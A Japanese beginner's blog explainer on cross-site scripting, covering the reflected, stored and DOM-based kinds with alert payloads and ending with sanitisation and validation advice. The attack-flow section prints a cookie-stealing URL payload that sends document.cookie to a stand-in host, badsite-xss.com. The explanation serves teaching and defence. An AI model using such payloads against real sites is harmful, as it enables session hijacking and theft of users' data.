クロスサイトスクリプティング(XSS)というのが、とにかくよく聞く脆弱性なわけなんですが、解説記事をみても私はイマイチ理解できませんでした。脆弱性があると意図しないスクリプトを実行されるっつーのはわかるんですが、具体的にどういうページでスクリプトを埋め込まれるのか、ユーザーはどこから誘導されてどんな被害をうけるのか。このあたりが抽象的な解説が多い気がして。同じように理解できない人多いんじゃなかろうか。
根気強く記事を漁ってたら段々とわかってきました。私が欲しかったポイントに要約してシンプルに解説したいと思います。
クロスサイトスクリプティングとは
攻撃対象のWebサイトの脆弱性を悪用し、そこに悪質なサイトへ誘導するスクリプトを仕掛けることで、ユーザーの個人情報などを盗む攻撃のことを指します。
そもそも他人のウェブサイトにどうやってスクリプトを仕込めるんだよ、と私は最初に思いました。でも考えてみると、ユーザーのリクエストをページに出力してくれるサイトってたくさんあるわけです。
3つに分類されます。それぞれ例をもとに説明します。
反射型XSS
例えばこんなサイト
ユーザーが検索ボックスに「〇〇」と入力すると、検索結果のページに「〇〇の検索結果5件」と表示されるサイト
こんなふうに攻撃される
「〇〇」に <script>alert(0);</script> と入力すれば、検索結果のページでスクリプトが実行されてアラートが出ます。
ユーザーのリクエストに対してスクリプトが返ってくるので反射型と呼びます。
格納型/蓄積型/持続型XSS
例えばこんなサイト
ユーザーが自由に書き込める掲示板。投稿された文章は掲示板に表示される。
こんなふうに攻撃される
攻撃者が掲示板に <script>alert(0);</script> と投稿する。他のユーザーが掲示板を閲覧するたびにスクリプトが実行されてアラートが出る。
スクリプトがサーバー(DB)に格納されて、ユーザーが閲覧するたびに持続的に発火するのでこのような名前です。
DOM Based XSS
例えばこんなサイト
ある商品ページから、その商品に関するお問い合わせフォームのページへ遷移できる。入力の手間を省けるように、遷移元ページの商品名がフォームに自動入力される。商品名はURLの末尾の?に続くパラメータで渡されている。( https://zeijaku.com/form?shouhin_A )
こんなふうに攻撃される
https://zeijaku.com/form?<script>alert(0);</script>
というURLでアクセスされると、フォームに商品名の代わりにスクリプトが自動入力され実行されます。(実際はinputタグから抜けるような書き方にしたりします)
サーバーサイドの処理に関係なく、フロントの処理で完結してしまえるのが特徴です。
攻撃者がユーザーの個人情報を盗むまでの手順
さて具体的にどのような手順でユーザーの個人情報が盗まれるのでしょうか。
DOM Based XSS の一例でいうと以下のような手順になります。
1)攻撃者がユーザーに対しメールで以下のようなURLを送付する
https://zeijaku.com/form?<script>window.location="https://badsite-xss.com?"+document.cookie;</script>
2)ユーザーがURLをクリックしてサイト(zeijaku.com)に訪れる
3)サイト訪問と同時にURLに含まれているスクリプト
<script>window.location="https://badsite-xss.com?"+document.cookie;</script>
が実行され、cookie情報(個人情報)をぶら下げたまま悪質サイト badsite-xss.com へ遷移する
4)遷移先の悪質サイトでURLにくっついたcookie情報を盗まれる
対策
・URLや検索などのユーザー入力をページに出力する際は、サニタイジングによりスクリプトを無効化する
・バリデーションを実装して、入力値を制限する
などなど
まとめ
クロスサイトスクリプティングの大まかなイメージはつかめたでしょうか。
意外と実装してしまいがちな脆弱性であるため、原理を理解したうえできっちり対策したいところです。